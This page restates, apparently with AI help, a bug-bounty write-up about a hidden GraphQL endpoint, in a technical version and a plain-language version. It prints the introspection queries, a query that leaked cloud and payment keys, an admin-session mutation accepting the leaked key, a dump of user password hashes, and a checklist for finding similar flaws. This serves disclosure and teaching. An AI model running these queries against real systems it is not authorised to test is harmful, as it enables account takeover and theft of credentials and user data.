Skip to content
Access control Write-up Intermediate

Query Gone Wild: How I Turned a Forgotten GraphQL Endpoint into Full Account Access

A GraphQL endpoint had introspection enabled and exposed queries and mutations without proper authorisation, including one that returned cloud and payment API keys and another that created an admin session using any token. An attacker could use these to obtain admin access and read all user data.

infosecwriteups.com

Published on infosecwriteups.com

Free link 🎈

Iski, on infosecwriteups.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

The target in this write-up is a GraphQL API reachable at a subdomain discovered during reconnaissance. The report does not name the organisation or describe the product beyond the endpoint itself. What matters for the story is the shape of the API: a single GraphQL endpoint that exposes queries for reading users and configuration, and mutations for changing passwords and creating sessions. Normally such an endpoint should require authentication, should not expose its schema to anonymous callers, and should never return server-side secrets or allow a caller to mint an administrative session.

The researcher frames the whole exercise around recon: most discovered assets are dead or uninteresting, and occasionally one turns out to be worth the effort. The endpoint in question was one of the latter.

Setup

The report does not describe any accounts, roles or credentials held by the researcher before the attack. The tooling used during reconnaissance is listed as amass, subfinder, httpx and gau. No versions are given. The only precondition that matters is that the GraphQL endpoint was reachable without authentication, which the responses below demonstrate.

Finding it

After running the usual recon toolchain, the researcher found the following host:

Bash
https://api-v2-hidden.target.com/graphql

The name suggests a second-version API that is not advertised in the main application. Requesting it without a query produced:

JSON
{"error":"Must provide query string."}

That response is not a failure in itself: it confirms that a GraphQL server is listening and is willing to talk to an unauthenticated client. The next question was whether the schema could be read.

Exploitation

Step 1: Check whether introspection is enabled

The researcher sent a standard introspection query:

TypeScript
{
  __schema {
    types {
      name
    }
  }
}

and received the list of type names defined by the schema:

JSON
{
  "data": {
    "__schema": {
      "types": [
        { "name": "Query" },
        { "name": "Mutation" },
        { "name": "User" },
        { "name": "Admin" },
        { "name": "SecretToken" }
      ]
    }
  }
}

Introspection was open to anonymous callers. The presence of Admin and SecretToken among the types already hints at what the schema is willing to expose.

Step 2: Enumerate the queries

With the schema readable, the next step was to list the fields available on the root Query type and their arguments:

TypeScript
{
  __type(name: "Query") {
    fields {
      name
      args {
        name
        type {
          name
        }
      }
    }
  }
}

The server returned four fields:

JSON
{
  "data": {
    "__type": {
      "fields": [
        { "name": "getUser", "args": [{ "name": "id", "type": { "name": "ID" }}]},
        { "name": "getAllUsers", "args": [] },
        { "name": "searchByEmail", "args": [{ "name": "email", "type": { "name": "String" }}]},
        { "name": "getSecretConfig", "args": [] }
      ]
    }
  }
}

getSecretConfig stands out immediately: a query with no arguments whose name promises server-side configuration. getAllUsers and searchByEmail are also notable because they allow bulk or targeted reads of user records.

Step 3: Read the secret configuration

The researcher queried the configuration object for three fields:

TypeScript
{
  getSecretConfig {
    awsAccessKey
    awsSecretKey
    paymentApiKey
  }
}

The response contained live-looking credentials:

JSON
{
  "data": {
    "getSecretConfig": {
      "awsAccessKey": "AKIAJDFK*****",
      "awsSecretKey": "js8df8sd9f8sdf9s8df9s8df9s8d9f",
      "paymentApiKey": "[redacted]"
    }
  }
}

The AKIA prefix is the well-known prefix for AWS access key IDs, and the sk_live_ prefix is the conventional prefix for a live payment gateway secret key. The researcher treats this disclosure alone as a high-severity issue.

Step 4: Enumerate the mutations

The same introspection technique was applied to the Mutation type:

TypeScript
{
  __type(name: "Mutation") {
    fields {
      name
      args {
        name
        type {
          name
        }
      }
    }
  }
}

The response listed two mutations:

JSON
{
  "data": {
    "__type": {
      "fields": [
        { "name": "updateUserPassword", "args": [{ "name": "id" }, { "name": "newPassword" }] },
        { "name": "createAdminSession", "args": [{ "name": "token" }] }
      ]
    }
  }
}

updateUserPassword takes a user ID and a new password, which is a direct account takeover primitive if it can be called without authorisation. createAdminSession takes a single token argument and, by its name, returns an administrative session.

Step 5: Mint an admin session

The researcher reused the payment API key obtained in step 3 as the token argument:

JavaScript
mutation {
  createAdminSession(token:"[redacted]") {
    sessionId
    role
  }
}

The server accepted it and returned an administrative session:

JSON
{
  "data": {
    "createAdminSession": {
      "sessionId": "admin-94837-sdfjdsf9834",
      "role": "ADMIN"
    }
  }
}

The mutation accepted the payment key as its token, so the check provided no real authorisation boundary.

Step 6: Read all user records

With the admin session in hand, the researcher ran a query that had previously been restricted:

Bash
{
  getAllUsers {
    id
    email
    passwordHash
  }
}

and received user records including password hashes:

PERL
{
  "data": {
    "getAllUsers": [
      { "id": "1", "email": "[redacted]", "passwordHash": "sha256:89sd7f..." },
      { "id": "2", "email": "[redacted]", "passwordHash": "sha256:90d8sd..." }
    ]
  }
}

At this point the researcher had administrative credentials and the full user table, which is described as full account access.

Root cause

Several design mistakes compound each other, and the report presents them as a chain rather than a single flaw:

  1. The GraphQL endpoint accepted unauthenticated requests and answered them with schema information. Introspection was left enabled for anonymous callers, so the entire attack surface could be mapped without guessing.
  2. A query with no arguments, getSecretConfig, returned cloud and payment credentials to any caller. Secrets that the server needs for its own operation were exposed through the same public API as ordinary data.
  3. The createAdminSession mutation validated its token argument against a value that was itself obtainable from the API. Because the payment key was accepted as the token, the check provided no real authorisation boundary.
  4. getAllUsers returned email addresses and password hashes, and updateUserPassword accepted a user ID and a new password, so the same endpoint offered both bulk data disclosure and a direct path to changing any account's password.

Why the existing defences did not stop the chain is not described in the report.

Impact

The researcher lists the following consequences:

  • Full disclosure of cloud keys (AWS and payment gateway).
  • The ability to create admin sessions.
  • Access to all user data.
  • Potential for account takeover, PII exposure and financial fraud.

Fix

Based on the chain above, the changes that would close it are: require authentication on the GraphQL endpoint and disable introspection for unauthenticated callers; remove getSecretConfig from the public schema and keep server-side credentials out of any query result; make createAdminSession validate a token that cannot be obtained through the API, and bind it to an authenticated principal; and restrict getAllUsers and updateUserPassword to authorised administrative callers, returning only the fields the caller needs.

Variants to test

  • Introspection on other GraphQL hosts. Send the __schema { types { name } } query to every GraphQL endpoint found during recon. A populated type list from an unauthenticated request is a positive result.
  • Argument-less queries with suggestive names. Enumerate Query fields and look for names such as getSecretConfig, config, settings or internal. A positive result is a field that returns credentials or environment values without arguments.
  • Mutations that accept a token. Enumerate Mutation fields and inspect arguments named token, key or secret. A positive result is a mutation that accepts a value already leaked elsewhere in the schema and returns a privileged session.
  • Bulk read queries. Look for fields like getAllUsers with no arguments. A positive result is a list of user records, especially with password hashes or other sensitive fields.
  • Password change mutations. Look for mutations taking a user ID and a new password. A positive result is a successful response for an account the caller does not own.
  • Cross-use of leaked secrets. When one query leaks several credentials, try each as the token for privileged mutations. A positive result is any accepted value that was not intended for that purpose.

Hunting notes

This kind of bug tends to hide on subdomains that are not linked from the main application, which is why the researcher's recon stack (amass, subfinder, httpx, gau) is the starting point of the story. The signal during recon is a GraphQL path that answers an empty request with a schema-related error such as Must provide query string. rather than a generic 404 or an authentication redirect. From there, introspection tells you quickly whether the endpoint is worth pursuing.

Image by AI From the original on infosecwriteups.com

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

A security researcher was looking for weaknesses in a company's systems, the way a burglar might walk around a building trying every door. Most doors were locked or led nowhere. Then they found a side entrance that nobody had mentioned: a web address that answers questions about data, called a GraphQL API. It was reachable by anyone, without logging in, and it was willing to describe itself in detail. That description revealed a way to read the company's secret keys, and one of those keys was enough to obtain an administrator session. With that session the researcher could read every user's record, including email addresses and scrambled passwords. The researcher describes this as full account access, including admin credentials.

The whole story is a chain: each small mistake made the next step possible. No single step required special tools beyond a browser and a few command-line programs used to find web addresses. Below, each step is explained from scratch, with the exact requests the researcher sent and what came back.

Background: what an API and GraphQL are

When you use a website, your browser talks to a server. Often it does so through an API (application programming interface): a set of web addresses that accept requests and return data, usually in a compact text format called JSON. Think of an API as a restaurant menu. You do not walk into the kitchen; you order from the menu and a waiter brings the dish.

GraphQL is a particular style of API. Instead of many separate addresses, there is usually one address (often ending in /graphql) and you send it a query, which is a description of exactly which pieces of data you want. The server replies with just those pieces. A query looks a bit like a pair of curly brackets with field names inside.

GraphQL servers can also be asked to describe themselves. This feature is called introspection: you send a special query and the server replies with a list of everything it can do, like a restaurant handing you the full menu with ingredients listed. Introspection is useful for developers building the front end. It is dangerous when strangers can use it, because it tells an attacker exactly what to try.

Two more words appear throughout. A query reads data and changes nothing. A mutation changes something, for example updating a password or creating a login session. A session is a short-lived proof that you are logged in, usually a long random string the server gives you after you authenticate; you show it with each later request instead of your password.

Step 1: Finding the hidden endpoint

The researcher began with reconnaissance (recon): the process of mapping out what a company has on the internet. Companies own many web addresses, called subdomains, such as shop.example.com or api.example.com. Most are uninteresting. The researcher's rule of thumb is that the stranger the subdomain name, the more likely it is to be forgotten and unprotected.

The tools used were amass, subfinder, httpx and gau. In plain terms: amass and subfinder collect subdomain names from public sources; httpx checks which of those names actually respond to web requests; gau fetches known web addresses from public archives. None of this is an attack. It is reading a map.

This search turned up the following address:

Bash
https://api-v2-hidden.target.com/graphql

Line by line: https:// means the connection is encrypted. api-v2-hidden is the subdomain name, suggesting a second version of an API that is not advertised anywhere. target.com stands for the company's domain, which the report does not name. /graphql is the path where the GraphQL service listens.

Visiting that address in a browser, with no query attached, produced:

JSON
{"error":"Must provide query string."}

This is a JSON object with one field, error, whose value is the message Must provide query string. In other words: the server is alive, it speaks GraphQL, and it is telling a stranger that it expected a query. To the researcher this is not a failure but an invitation, because it proves the service answers people who have not logged in.

Step 2: Asking the server to describe itself

Before guessing anything, the researcher checked whether introspection was switched on. The query sent was:

TypeScript
{
  __schema {
    types {
      name
    }
  }
}

Line by line: the outer curly brackets are the query itself. __schema is a special built-in field meaning "describe the whole schema", where a schema is the full definition of what data and actions the API offers. Inside it, types asks for the list of data types, and name asks for each type's name only. The double underscore marks fields that GraphQL provides automatically.

The reply was:

JSON
{
  "data": {
    "__schema": {
      "types": [
        { "name": "Query" },
        { "name": "Mutation" },
        { "name": "User" },
        { "name": "Admin" },
        { "name": "SecretToken" }
      ]
    }
  }
}

Line by line: data is the container for a successful answer. __schema repeats the field that was asked for. types is a list, and each entry has a name. The names tell a story on their own: Query is the set of read operations, Mutation the set of write operations, User and Admin are data types, and SecretToken suggests the API knows about secrets. Introspection was open to anyone, which the researcher compares to leaving the house key under the doormat.

Step 3: Listing the read operations

Next the researcher asked for the fields available on the Query type, and the arguments each one takes. An argument is an input you supply to a field, like the search term you type into a search box.

TypeScript
{
  __type(name: "Query") {
    fields {
      name
      args {
        name
        type {
          name
        }
      }
    }
  }
}

Line by line: __type(name: "Query") asks about one specific type by name. fields asks for its list of fields. For each field, name gives its name, and args gives its arguments; for each argument, name is the argument's name and type { name } is the kind of value it expects, such as ID or String.

The server answered with four fields:

JSON
{
  "data": {
    "__type": {
      "fields": [
        { "name": "getUser", "args": [{ "name": "id", "type": { "name": "ID" }}]},
        { "name": "getAllUsers", "args": [] },
        { "name": "searchByEmail", "args": [{ "name": "email", "type": { "name": "String" }}]},
        { "name": "getSecretConfig", "args": [] }
      ]
    }
  }
}

Line by line: getUser takes one argument, id, of type ID, so it fetches a single user. getAllUsers takes no arguments at all, so it returns every user. searchByEmail takes an email string, so it looks users up by address. getSecretConfig takes no arguments and its name promises server configuration, which is exactly the kind of thing that should never be readable from outside. The empty args lists are the important detail: no input is needed, so nothing has to be guessed or known in advance.

Step 4: Reading the secret configuration

Having spotted getSecretConfig, the researcher simply asked for it, naming three fields inside it:

TypeScript
{
  getSecretConfig {
    awsAccessKey
    awsSecretKey
    paymentApiKey
  }
}

Line by line: getSecretConfig is the field being requested. Inside its curly brackets, awsAccessKey, awsSecretKey and paymentApiKey are the pieces of that configuration the researcher wants returned. In GraphQL you must name every field you want; nothing extra comes back.

The reply was:

JSON
{
  "data": {
    "getSecretConfig": {
      "awsAccessKey": "AKIAJDFK*****",
      "awsSecretKey": "js8df8sd9f8sdf9s8df9s8df9s8d9f",
      "paymentApiKey": "[redacted]"
    }
  }
}

Line by line: awsAccessKey is an identifier for an account at Amazon Web Services (AWS), a cloud provider where companies rent servers and storage. The AKIA prefix is the standard start of such identifiers. awsSecretKey is the matching password-like value for that cloud account. paymentApiKey is a key for a payment service; the sk_live_ prefix conventionally marks a live key, meaning one that moves real money rather than a test key. The asterisks in the access key are the researcher's own masking. The researcher treats this disclosure alone as a high-severity issue, because anyone holding these values could act as the company towards those services.

Step 5: Listing the write operations

The same introspection trick was applied to Mutation, the set of actions that change data:

TypeScript
{
  __type(name: "Mutation") {
    fields {
      name
      args {
        name
        type {
          name
        }
      }
    }
  }
}

This is the identical query as in step 3, with "Mutation" in place of "Query". The reply was:

JSON
{
  "data": {
    "__type": {
      "fields": [
        { "name": "updateUserPassword", "args": [{ "name": "id" }, { "name": "newPassword" }] },
        { "name": "createAdminSession", "args": [{ "name": "token" }] }
      ]
    }
  }
}

Line by line: updateUserPassword accepts an id and a newPassword, so it can change any account's password if the server does not check who is asking. That is a direct route to taking over an account. createAdminSession accepts a single token and, judging by its name, hands back an administrator's session. A token here is a value used as proof of permission, like a wristband at an event; whoever holds it is treated as allowed.

Step 6: Creating an administrator session

The researcher reused the payment key from step 4 as the token argument:

JavaScript
mutation {
  createAdminSession(token:"[redacted]") {
    sessionId
    role
  }
}

Line by line: the word mutation declares that this request changes something. createAdminSession is the action being called, and token:"..." supplies the value it expects. Inside the curly brackets, sessionId and role are the pieces of the result the researcher wants back: the identifier of the new session and the permission level attached to it.

The server accepted it:

JSON
{
  "data": {
    "createAdminSession": {
      "sessionId": "admin-94837-sdfjdsf9834",
      "role": "ADMIN"
    }
  }
}

Line by line: sessionId is the string that now represents a logged-in administrator, and role is ADMIN, the highest permission level. The mutation accepted the payment key as its token, so the check provided no real protection.

The image is a GIF placed at this point in the story, after the admin session was obtained.

Step 7: Reading every user record

With the administrator session in hand, the researcher ran a query that had previously been restricted:

Bash
{
  getAllUsers {
    id
    email
    passwordHash
  }
}

Line by line: getAllUsers is the bulk read field found in step 3. Inside it, id, email and passwordHash are the fields requested for every user. A password hash is the result of scrambling a password with a one-way mathematical function, so the original password cannot simply be read back; it is what a well-built system stores instead of the password itself. Even so, hashes are sensitive, because weak passwords can often be guessed from them.

The reply was:

PERL
{
  "data": {
    "getAllUsers": [
      { "id": "1", "email": "[redacted]", "passwordHash": "sha256:89sd7f..." },
      { "id": "2", "email": "[redacted]", "passwordHash": "sha256:90d8sd..." }
    ]
  }
}

Line by line: getAllUsers returns a list, shown by the square brackets. Each entry has an id, an email and a passwordHash. The sha256: prefix names the scrambling method used.

Why it worked

The report presents the failure as a chain of design mistakes rather than one bug:

  1. The GraphQL endpoint answered requests from people who had not logged in, and it let them read its schema. Introspection for anonymous callers meant the whole attack surface could be mapped without guessing.
  2. A query with no arguments, getSecretConfig, returned cloud and payment credentials to any caller. Secrets the server needs for its own operation were exposed through the same public menu as ordinary data.
  3. createAdminSession checked its token against a value that could itself be fetched from the API. Because the payment key was accepted, the check created no real boundary.
  4. getAllUsers returned email addresses and password hashes, and updateUserPassword accepted a user ID and a new password, so the same endpoint offered both bulk data disclosure and a direct path to changing any account's password.

The report does not explain why the existing defences failed to stop the chain.

Impact

The researcher lists four consequences:

  • Full disclosure of cloud keys (AWS and payment gateway).
  • The ability to create admin sessions.
  • Access to all user data.
  • Potential for account takeover, exposure of personal information (PII, personally identifiable information) and financial fraud.

How to fix it

The changes that would close the chain are: require login on the GraphQL endpoint and switch off introspection for callers who are not logged in; remove getSecretConfig from the public schema and keep server-side credentials out of any query result; make createAdminSession check a token that cannot be obtained through the API and tie it to a logged-in user; and restrict getAllUsers and updateUserPassword to authorised administrators, returning only the fields the caller needs.

What to try on other targets

These are the same ideas turned into a checklist for your own practice, on systems you are allowed to test:

  • Introspection on other GraphQL hosts. Send the __schema { types { name } } query to every GraphQL endpoint found during recon. A populated type list from a request without login is a positive result.
  • Argument-less queries with suggestive names. List the Query fields and look for names such as getSecretConfig, config, settings or internal. A positive result is a field that returns credentials or environment values without needing any input.
  • Mutations that accept a token. List the Mutation fields and inspect arguments named token, key or secret. A positive result is a mutation that accepts a value already leaked elsewhere in the schema and returns a privileged session.
  • Bulk read queries. Look for fields like getAllUsers with no arguments. A positive result is a list of user records, especially with password hashes or other sensitive fields.
  • Password change mutations. Look for mutations taking a user ID and a new password. A positive result is a successful response for an account the caller does not own.
  • Cross-use of leaked secrets. When one query leaks several credentials, try each as the token for privileged mutations. A positive result is any accepted value that was not intended for that purpose.

Hunting notes

This kind of bug tends to hide on subdomains that are not linked from the main application, which is why the recon toolchain (amass, subfinder, httpx, gau) is where the story starts. The signal during recon is a GraphQL path that answers an empty request with a schema-related error such as Must provide query string. rather than a generic "not found" page or a redirect to a login screen. From there, introspection quickly tells you whether the endpoint is worth pursuing.

Image by AI From the original on infosecwriteups.com

Glossary

  • API: a set of web addresses through which one program asks another for data or actions, like ordering from a menu rather than entering the kitchen.
  • Argument: an input value you supply to a GraphQL field, such as an ID or an email address.
  • Authentication: proving who you are, usually by logging in.
  • Authorisation: deciding what a proven user is allowed to do.
  • AWS: Amazon Web Services, a cloud provider where companies rent servers and storage.
  • Bug bounty program: a scheme in which a company pays researchers for reporting security flaws.
  • Cloud keys: credentials that grant access to a cloud provider's services.
  • Endpoint: a specific web address that accepts requests.
  • Field: a named piece of data or action inside a GraphQL type.
  • GraphQL: a style of API with a single address that accepts queries describing exactly which data you want.
  • Hash (password hash): the scrambled, one-way result of running a password through a mathematical function, stored instead of the password itself.
  • Introspection: a GraphQL feature that lets a caller ask the server to describe its full schema.
  • JSON: a plain-text format for structured data, built from curly brackets, square brackets and name/value pairs.
  • Mutation: a GraphQL operation that changes data, such as updating a password or creating a session.
  • PII: personally identifiable information, data that can identify a specific person, such as an email address.
  • Query: a GraphQL operation that only reads data.
  • Reconnaissance (recon): the mapping-out of a company's internet-facing systems before testing them.
  • Schema: the complete definition of the data types and operations a GraphQL API offers.
  • Severity: a rating of how serious a security flaw is.
  • Session: a short-lived proof of being logged in, usually a long random string shown with later requests.
  • Subdomain: a named part of a larger domain, such as api.example.com under example.com.
  • Token: a value used as proof of permission, like a wristband at an event.
  • Type: in GraphQL, a definition of a kind of data or a set of operations, such as Query, Mutation or User.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.